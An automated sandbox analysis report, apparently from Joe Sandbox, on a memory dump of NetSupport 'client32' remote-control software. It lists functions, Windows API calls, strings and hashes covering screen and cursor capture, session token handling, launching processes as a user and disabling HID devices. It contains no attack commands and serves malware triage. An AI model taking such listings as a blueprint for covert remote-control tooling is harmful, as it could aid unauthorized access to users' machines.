String ID: ..\ctl32\Connect.cpp$ctl_bridgename$ctl_broadcastdata$ctl_call$ctl_callremote$ctl_clearpin$ctl_clientpinrequest$ctl_close$ctl_closeremote$ctl_connected$ctl_controlpinrequest$ctl_controlsendpin$ctl_escape$ctl_findslaves$ctl_findslavesex$ctl_getcodepage$ctl_getconnectivityinfo$ctl_getfailedreason$ctl_getlouserpaddressinuse$ctl_getsession$ctl_hangup$ctl_helpreq$ctl_installed$ctl_loadbridge$ctl_maxpacket$ctl_myaddr$ctl_netname$ctl_networks$ctl_nsessions$ctl_open$ctl_openremote$ctl_pause$ctl_pingnet$ctl_publishservice$ctl_publishserviceex$ctl_remotename$ctl_send$ctl_sendex$ctl_sendif$ctl_sendname$ctl_sendto$ctl_subset$ctl_version
API String ID: 1096595926-1306570422
Opcode ID: cf51ba996edafb05b73b1d2fbab5a16ed4be44cc98c1f2e0f0545e03da82bd1f
Instruction ID: 5f24de0e2360826035fa82522da9b4a10218173402b610a7b1cd1951dc97c3b7
Opcode Fuzzy Hash: cf51ba996edafb05b73b1d2fbab5a16ed4be44cc98c1f2e0f0545e03da82bd1f
Instruction Fuzzy Hash: 96A15DBCF447927AD312AFB76C91FABFEE86F615D8B81042AF449E5901FA60F000C556

Function 1101D600 Relevance: 66.9, APIs: 32, Strings: 6, Instructions: 361windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D690
GetWindowTextLengthA.USER32(00000000), ref: 1101D699
SendMessageA.USER32(00000000,000000B1,00000001,00000001), ref: 1101D6AE
_memset.LIBCMT ref: 1101D6BF
SendMessageA.USER32(00000000,0000043A,00000000,?), ref: 1101D6E6
SendMessageA.USER32(00000000,0000043A,00000001,?), ref: 1101D6FE
SendMessageA.USER32(00000000,00000444,00000001,?), ref: 1101D760
LoadBitmapA.USER32(00000000,000013CD), ref: 1101D79F
GetObjectA.GDI32(00000000,00000018,?), ref: 1101D7B5

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

Strings

DisableSmileys, xrefs: 1101D777
IsA(), xrefs: 1101D8FD
Chat, xrefs: 1101D77C
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1101D8F8
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101D7CC, 1101D9E5
m_hWnd, xrefs: 1101D7D1, 1101D9EA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$BitmapItemLengthLoadObjectTextWindow__strdup_free_memset
String ID: Chat$DisableSmileys$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3923228642-2891806625
Opcode ID: c74fffa31febf9769478802a26479e915e76f1f16c361d565418096cbfb0c215
Instruction ID: 9a3a4648e6df431800cb0a7fa6c4b0177097bf0927b2bbe13b50f344d0126f69
Opcode Fuzzy Hash: c74fffa31febf9769478802a26479e915e76f1f16c361d565418096cbfb0c215
Instruction Fuzzy Hash: 5CD19675E00229AFEB24DF64CC85FAEB7B9BB44704F0081D5E919AB285DB74AD44CF60

Function 11107430 Relevance: 59.9, APIs: 18, Strings: 16, Instructions: 408synchronizationthreadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000001,00000008,?,?,?,?,?), ref: 11107546
GetLastError.KERNEL32(?,?,?), ref: 1110755A
GetTickCount.KERNEL32 ref: 11107588
SetThreadPriority.KERNEL32(00000000,00000001,110FE000,00000001,00000000,00000000,00000001,00000008,?,?,?,?,?), ref: 1110760E
CloseHandle.KERNEL32(00000000,?,?,?), ref: 11107615
InterlockedExchange.KERNEL32(00000000,00000000), ref: 11107627
WaitForSingleObject.KERNEL32(00000000,00001388,?,?,?), ref: 11107639
CloseHandle.KERNEL32(00000000,?,?,?), ref: 11107659
GetModuleFileNameA.KERNEL32(00000000,?,00000207,00000000,00000001,00000008,?,?,?,?,?), ref: 11107679
wsprintfA.USER32 ref: 111076A5
SetTokenInformation.ADVAPI32(00000000,0000000C,?,00000004), ref: 111077F8
GetLastError.KERNEL32 ref: 11107802
_memset.LIBCMT ref: 11107825
GetCurrentProcess.KERNEL32(?), ref: 11107848
GetPriorityClass.KERNEL32(00000000), ref: 1110784F
CloseHandle.KERNEL32(?), ref: 11107883
CloseHandle.KERNEL32(00000000), ref: 111078A4
GetTickCount.KERNEL32 ref: 11107932

Strings

/TS , xrefs: 1110773D
Error. Null psi for session %d, xrefs: 111074AD
Warning. Session %d disconnected - not launching client, xrefs: 111075CD
Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d, xrefs: 1110755E
clientname, xrefs: 11107765
/VistaUI , xrefs: 111076CC
Error. settok(%x, seshid %d) ret %d, e=%d, xrefs: 1110780D
D, xrefs: 11107834
DisableConsoleClient, xrefs: 111076E8
" %s , xrefs: 1110769F
Error. terminating ui client, xrefs: 11107643
Restarting client after aborted logoff., xrefs: 111074F1
Error. ExecProcessAsUser ret %d, xrefs: 11107896
Exec %d-%s ret %d (h=%x), xrefs: 1110790E
/S , xrefs: 11107718
CurrentSession %d appears invalid. Reset to -1, xrefs: 1110757B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$ErrorLast$CountPriorityTick$ClassCurrentExchangeFileInformationInterlockedModuleNameObjectProcessSingleThreadTokenWait_memsetwsprintf
String ID: " %s $/S $/TS $/VistaUI $CurrentSession %d appears invalid. Reset to -1$D$DisableConsoleClient$Error. ExecProcessAsUser ret %d$Error. Null psi for session %d$Error. settok(%x, seshid %d) ret %d, e=%d$Error. terminating ui client$Exec %d-%s ret %d (h=%x)$Restarting client after aborted logoff.$Warning. Session %d disconnected - not launching client$Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d$clientname
API String ID: 161374856-1113802814
Opcode ID: c58d180b3558540ad75e579067b834d4c43180a98eb3a7bdf316f64922136371
Instruction ID: 91aea3661803dec28b3ae4f48bb2d9f520ca8aa3a68452e91682b0156efcc083
Opcode Fuzzy Hash: c58d180b3558540ad75e579067b834d4c43180a98eb3a7bdf316f64922136371
Instruction Fuzzy Hash: 2FE11774D0065A9FEB11DF64CD88FAAFBB4EF44308F1082A9E95997280EB719944CF91

Function 1106F690 Relevance: 52.8, APIs: 24, Strings: 6, Instructions: 333sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,59FD48C0,00000000,?,?), ref: 1106F716
EnterCriticalSection.KERNEL32(?,59FD48C0,00000000,?,?), ref: 1106F729
LeaveCriticalSection.KERNEL32(?), ref: 1106F72C
EnterCriticalSection.KERNEL32(?), ref: 1106F739
LeaveCriticalSection.KERNEL32(?), ref: 1106F73C
EnterCriticalSection.KERNEL32(?), ref: 1106F746
LeaveCriticalSection.KERNEL32(?), ref: 1106F749
EnterCriticalSection.KERNEL32(?), ref: 1106F76A
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?), ref: 1106F7B4
wsprintfA.USER32 ref: 1106F800
InterlockedDecrement.KERNEL32(?), ref: 1106F889
InterlockedDecrement.KERNEL32(?), ref: 1106F898
InterlockedDecrement.KERNEL32(?), ref: 1106F8A1
InterlockedDecrement.KERNEL32(?), ref: 1106F8B9
InterlockedDecrement.KERNEL32(?), ref: 1106F8D7
InterlockedDecrement.KERNEL32(?), ref: 1106F90E

Strings

DestroyThread finished, lwr==upr, xrefs: 1106FAB4
slot %d, ppConn=%x, *ppConn=%x, c=%x, xrefs: 1106F7FA
DestroyThread finished, cid==-1, xrefs: 1106F8DD
*slot == c, xrefs: 1106F833
DestroyThread finished, NULL lid, xrefs: 1106F930
..\ctl32\Connect.cpp, xrefs: 1106F811, 1106F82E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$DecrementInterlocked$EnterLeave$Sleepwsprintf
String ID: *slot == c$..\ctl32\Connect.cpp$DestroyThread finished, NULL lid$DestroyThread finished, cid==-1$DestroyThread finished, lwr==upr$slot %d, ppConn=%x, *ppConn=%x, c=%x
API String ID: 2291750367-2321163575
Opcode ID: ffc9d817b1687cccdfda9b510cf608883ebab596d38c18c87a17260cc501fcf2
Instruction ID: d9920995edfa82a09cd3ff1c5cf6f1b3ec6b4d09dacc84edfcea4b061af5255a
Opcode Fuzzy Hash: ffc9d817b1687cccdfda9b510cf608883ebab596d38c18c87a17260cc501fcf2
Instruction Fuzzy Hash: E2D1B075E00255DFEB15CF64C894B9EB7F9BF48308F0581A9E41AA7241DB30AE41CFA1

Function 11017780 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 306windowCOMMON

Download Yara Rule

APIs

GetCursorInfo.USER32 ref: 110177B1
GetIconInfo.USER32(?,?), ref: 110177DB
GetObjectA.GDI32(?,00000018,?), ref: 11017809
DeleteObject.GDI32(?), ref: 11017820
DeleteObject.GDI32(?), ref: 1101782D
_memset.LIBCMT ref: 11017850
DeleteObject.GDI32(?), ref: 110178E0
DeleteObject.GDI32(?), ref: 110178F1
GetBitmapBits.GDI32(?,?,?), ref: 1101791C
GetObjectA.GDI32(?,00000018,?), ref: 1101793A
_malloc.LIBCMT ref: 11017987
GetBitmapBits.GDI32(?,?,00000000), ref: 110179A0
_free.LIBCMT ref: 11017A9F
CreateCompatibleDC.GDI32(00000000), ref: 11017AB7
CreateCompatibleDC.GDI32(00000000), ref: 11017ABD
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 11017AD5
SelectObject.GDI32(00000000,00000000), ref: 11017AE3
SelectObject.GDI32(00000000,?), ref: 11017AF7
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 11017B20
SelectObject.GDI32(00000000,?), ref: 11017B2E
SelectObject.GDI32(00000000,?), ref: 11017B3C
GetBitmapBits.GDI32(?,?,?), ref: 11017B6E
DeleteObject.GDI32(?), ref: 11017B83
DeleteDC.GDI32(00000000), ref: 11017B90
DeleteDC.GDI32(00000000), ref: 11017B93
_memmove.LIBCMT ref: 11017BB0

Strings

, xrefs: 11017944

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Delete$BitmapSelect$BitsCreate$CompatibleInfo$CursorIcon_free_malloc_memmove_memset
String ID:
API String ID: 3967744211-3916222277
Opcode ID: 3d62f99c9ce37d9aef3ff397a9b8879e606c38d97d0a624de454d77c33408b6f
Instruction ID: 51def0c358fc3afc124783ed49e37ab26e03e79d5813580ccbe663cd6c259546
Opcode Fuzzy Hash: 3d62f99c9ce37d9aef3ff397a9b8879e606c38d97d0a624de454d77c33408b6f
Instruction Fuzzy Hash: 9BC15371D043299BDB24CF64CC88B99B7B9EF48304F0081EAE919AB246D774EE84CF50

Function 11133920 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 278libraryloadertimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetLocalTime.KERNEL32(?,_debug,CheckLeaks,00000001,00000000,59FD48C0), ref: 1113398E
LoadLibraryA.KERNEL32(psapi.dll), ref: 111339E6
GetCurrentProcess.KERNEL32 ref: 11133A27
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11133A51
SetLastError.KERNEL32(00000078), ref: 11133A68
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133A84
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133AAC
SetLastError.KERNEL32(00000078), ref: 11133AC9
SetLastError.KERNEL32(00000078), ref: 11133AD6
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 11133AE8
SetLastError.KERNEL32(00000078), ref: 11133B01
FreeLibrary.KERNEL32(?), ref: 11133C6B
FreeLibrary.KERNEL32(?), ref: 11133C78
FreeLibrary.KERNEL32(?), ref: 11133C82

Strings

RestartUserObj, xrefs: 11133C35
Client, xrefs: 11133BC1, 11133BEC, 11133C13, 11133C3A
_debug, xrefs: 11133972
RestartMB, xrefs: 11133BBC
psapi.dll, xrefs: 111339C3
RestartGdiObj, xrefs: 11133C0E
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11133B73
Date=%04d-%02d-%02d, xrefs: 111339AB
GetGuiResources, xrefs: 11133A7E, 11133AA6
CheckLeaks, xrefs: 1113396D
GetProcessHandleCount, xrefs: 11133A4B
RestartHandles, xrefs: 11133BE7
GetProcessMemoryInfo, xrefs: 11133AE2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$Free$CurrentLoadLocalProcessTime__wcstoi64
String ID: CheckLeaks$Client$Date=%04d-%02d-%02d$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$_debug$psapi.dll
API String ID: 591687743-1001504656
Opcode ID: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction ID: 17d7fdf42b282dadbb05295794651177f64ab9c07d211a437ec733fd2e53fcc2
Opcode Fuzzy Hash: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction Fuzzy Hash: A3B1BFB1E242699FDB10DFE9CDC0AADFBB6EB48319F10452AE414E7348DB349844CB65

Function 11005360 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DE40: __itow.LIBCMT ref: 1105DE65

GetObjectA.GDI32(?,0000003C,?), ref: 11005435

Part of subcall function 1110F4A0: _malloc.LIBCMT ref: 1110F4A9
Part of subcall function 1110F4A0: _memset.LIBCMT ref: 1110F4D2

wsprintfA.USER32 ref: 1100548D
DeleteObject.GDI32(?), ref: 110054E2
DeleteObject.GDI32(?), ref: 110054EB
SelectObject.GDI32(?,?), ref: 11005502
DeleteObject.GDI32(?), ref: 11005508
DeleteDC.GDI32(?), ref: 1100550E
SelectObject.GDI32(?,?), ref: 1100551F
DeleteObject.GDI32(?), ref: 11005528
DeleteDC.GDI32(?), ref: 1100552E
DeleteObject.GDI32(?), ref: 1100553F
DeleteObject.GDI32(?), ref: 1100556A
DeleteObject.GDI32(?), ref: 11005588
DeleteObject.GDI32(?), ref: 11005591
ShowWindow.USER32(?,00000009), ref: 110055BF
PostQuitMessage.USER32(00000000), ref: 110055C7

Strings

PenStyle, xrefs: 110053BF
FillColour, xrefs: 110053FB
Tool, xrefs: 11005383
PenColour, xrefs: 110053A1
FillStyle, xrefs: 11005419
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s, xrefs: 11005487
PenWidth, xrefs: 110053DD
Annotate, xrefs: 11005388, 110053A6, 110053C4, 110053E2, 11005400, 1100541E, 110054A4
Font, xrefs: 1100549F

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Delete$Select$MessagePostQuitShowWindow__itow_malloc_memsetwsprintf
String ID: %d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%s$Annotate$FillColour$FillStyle$Font$PenColour$PenStyle$PenWidth$Tool
API String ID: 2789700732-770455996
Opcode ID: 2451f95e94c9c72552f3f2c2729a503008db99330f9048a50f9573f88d595965
Instruction ID: d9229358f4933b228272336fa2bf33a0883a331572b372d30b0232039735f129
Opcode Fuzzy Hash: 2451f95e94c9c72552f3f2c2729a503008db99330f9048a50f9573f88d595965
Instruction Fuzzy Hash: 5C816975A00609AFD728DBB5C990EABF7F9BF8C304F00451DE6A697680DA75F801CB60

Function 11015290 Relevance: 43.7, APIs: 29, Instructions: 170COMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 110152BF
GetWindowRect.USER32(?,?), ref: 110152D7
_memset.LIBCMT ref: 110152E5
CreateFontIndirectA.GDI32(?), ref: 11015301
SelectObject.GDI32(00000000,00000000), ref: 11015315
SetBkMode.GDI32(00000000,00000001), ref: 11015320
BeginPath.GDI32(00000000), ref: 1101532D
TextOutA.GDI32(00000000,00000000,00000000), ref: 11015350
EndPath.GDI32(00000000), ref: 11015357
PathToRegion.GDI32(00000000), ref: 1101535E
CreateSolidBrush.GDI32(?), ref: 11015370
CreateSolidBrush.GDI32(?), ref: 11015386
CreatePen.GDI32(00000000,00000002,?), ref: 110153A0
SelectObject.GDI32(00000000,00000000), ref: 110153AE
SelectObject.GDI32(00000000,?), ref: 110153BE
GetRgnBox.GDI32(00000000,?), ref: 110153CB
OffsetRgn.GDI32(00000000,?,00000000), ref: 110153EA
FillRgn.GDI32(00000000,00000000,?), ref: 110153F9
FrameRgn.GDI32(00000000,00000000,?,00000002,00000002), ref: 1101540C
DeleteObject.GDI32(00000000), ref: 11015419
SelectObject.GDI32(00000000,?), ref: 11015423
SelectObject.GDI32(00000000,?), ref: 1101542D
DeleteObject.GDI32(?), ref: 11015436
DeleteObject.GDI32(?), ref: 1101543F
DeleteObject.GDI32(?), ref: 11015448
SelectObject.GDI32(00000000,?), ref: 11015452
DeleteObject.GDI32(?), ref: 1101545B
SetBkMode.GDI32(00000000,?), ref: 11015465
EndPaint.USER32(?,?), ref: 11015479

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$Delete$Create$Path$BeginBrushModePaintSolid$FillFontFrameIndirectOffsetRectRegionTextWindow_memset
String ID:
API String ID: 3702029449-0
Opcode ID: 24b8a3e860cad455b09ae9666a62e4d5b44d953a1c6f38d3d180a12544eed90e
Instruction ID: 652d7b9cefe541cc9f67407d7bb7a055c5a4b94d45e30f14e3a138b487ffb704
Opcode Fuzzy Hash: 24b8a3e860cad455b09ae9666a62e4d5b44d953a1c6f38d3d180a12544eed90e
Instruction Fuzzy Hash: 0D511875A10228AFDB14DBA4CC88FAEF7B9EF89304F004199E519D7244DB74AE44CF61

Function 110FF3C0 Relevance: 42.2, APIs: 8, Strings: 16, Instructions: 207synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

Part of subcall function 110ED1F0: RegCreateKeyExA.ADVAPI32(00000000,0002001F,00000000,00000000,80000001,?,1105E76C,?,00000000,?,00000000,76968400,?,?,1105E76C,80000001), ref: 110ED21B

GetTickCount.KERNEL32 ref: 110FF4DB
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 110FF4E8
CloseHandle.KERNEL32(00000000), ref: 110FF4F5
GetTickCount.KERNEL32 ref: 110FF4FB
wsprintfA.USER32 ref: 110FF5BE
_memset.LIBCMT ref: 110FF5CF

Strings

%s HID*, xrefs: 110FF626
Client, xrefs: 110FF400
Error creating process %s, xrefs: 110FF679
Software\NetSupport Ltd\Client32, xrefs: 110FF44A
nsdevcon64.exe, xrefs: 110FF55F, 110FF678
_debug, xrefs: 110FF523, 110FF545
nsdevcon.exe, xrefs: 110FF566, 110FF56D, 110FF593
D, xrefs: 110FF601
Waited %d ms for last devcon, xrefs: 110FF507
"%s" %s %s HID*, xrefs: 110FF5B8
DisableHidDevices(%d), xrefs: 110FF429
